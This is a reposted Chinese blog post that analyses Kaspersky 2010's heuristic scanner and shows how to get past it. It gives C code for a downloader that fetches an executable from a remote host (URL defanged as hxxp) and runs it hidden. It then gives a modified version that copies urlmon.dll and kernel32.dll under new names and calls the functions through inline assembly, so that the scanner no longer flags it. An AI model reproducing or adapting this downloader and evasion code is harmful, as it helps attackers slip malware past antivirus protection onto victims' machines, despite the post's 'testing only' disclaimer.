分析卡巴斯基启发式扫描及其绕过方案

转载自:http://blog.sina.com.cn/s/blog_63a4534c01012ugj.html

卡巴斯基2010有强大的启发式扫描,其实启发式扫描有很多弱点,有一个就是不能完全的模拟程序的运行环境,这就可能给我们留出来了一块空间来绕过启发式扫描,其实其它杀毒软件的启发式扫描都存在这些空间,下面就来分析一下卡巴斯基的启发式扫描吧!
首先要编一段程序来完成测试,程序一定要非常的针对启发式扫描这一块的,不然的话没有效果,选那段代码来测试呢?恩,有段代码启发式扫描几乎都要扫描的,那就是下载者的代码,一般的下载者代码如下:

(为防止误点击,所有网址已设为hxxp,欲尝试请修改后再访问)

int _tmain(int argc, _TCHAR* argv[])
{
URLDownloadToFileA(NULL,"hxxp://www.hehe/yan.exe","c:\\yan.exe",0,NULL);
WinExec("C:\\yan.exe",SW_HIDE);
}

上面代码应该是最熟悉的了,启发式扫描发现调用URLDownloadToFileA和WinExec就认为是病毒了,先写这么一个程序,放到卡巴斯基2010下
于是,卡巴报下载者病毒,看来卡巴的启发式扫描起作用了,经过测试,无论改成动态调用还是其它方案,只要调用Kennel32.dll中的WinExec和UrlMon.dll中的URLDownloadToFileA都无法躲过卡巴斯基的启发式扫描。
下面开始以启发式扫描的弱点来测试,那就是不能完全模拟程序运行环境的,当我们创建文件等操作时,在启发式扫描的环境中实际是没有操作的,那么方法诞生 了,可以先复制一个Kernel32.dll的副本Kaba.dll,然后动态调用KaBa.dll中的WinExec函数,那么启发式扫描应该作废了, 因为在启发式扫描的环境中根本不会真正的复制一个Kaba.dll文件,那么我们的动态调用就是未知的,所以我们的程序很安全。修改代码如下:

char * Str="c:\\yan.exe";
     char * Url="hxxp://www.hehe/yan.exe";
    CopyFileA("C:\\windows\\system32\\urlmon.dll","c:\\windows\\system32\\KaBaUrl.dll",true);
     LoadLibrary("KaBaUrl.dll");
     PVOID Dwon=GetProcAddress(GetModuleHandle("KaBaUrl.dll"),"URLDownloadToFileA");
     _asm
     {
         push 0
         push 0
         push Str
         push Url
         push 0
         call Dwon
     }
CopyFileA("c:\\windows\\system32\\kernel32.dll","c:\\windows\\system32\\KaBa.dll",true); LoadLibrary("KaBa.dll");
     PVOID Fun=GetProcAddress(GetModuleHandle("KaBa.dll"),"WinExec");
    _asm
     {
         push SW_HIDE
         push Str
         call Fun
}

上面代码生成的程序运行时,卡巴不会有任何反应,看来启发式扫描还有很大的缺点,最后希望卡巴斯基的启发式扫描越来越完善,到杀毒软件的启发式扫描能完全 模拟程序运行环境时,那么启发式扫描可能就不叫启发式扫描了(声明:上面代码只做测试使用,凡是用于非法用途的,后果自负。)

 

posted @ 2015-09-17 10:16  _No.47  阅读(1601)  评论(0编辑  收藏  举报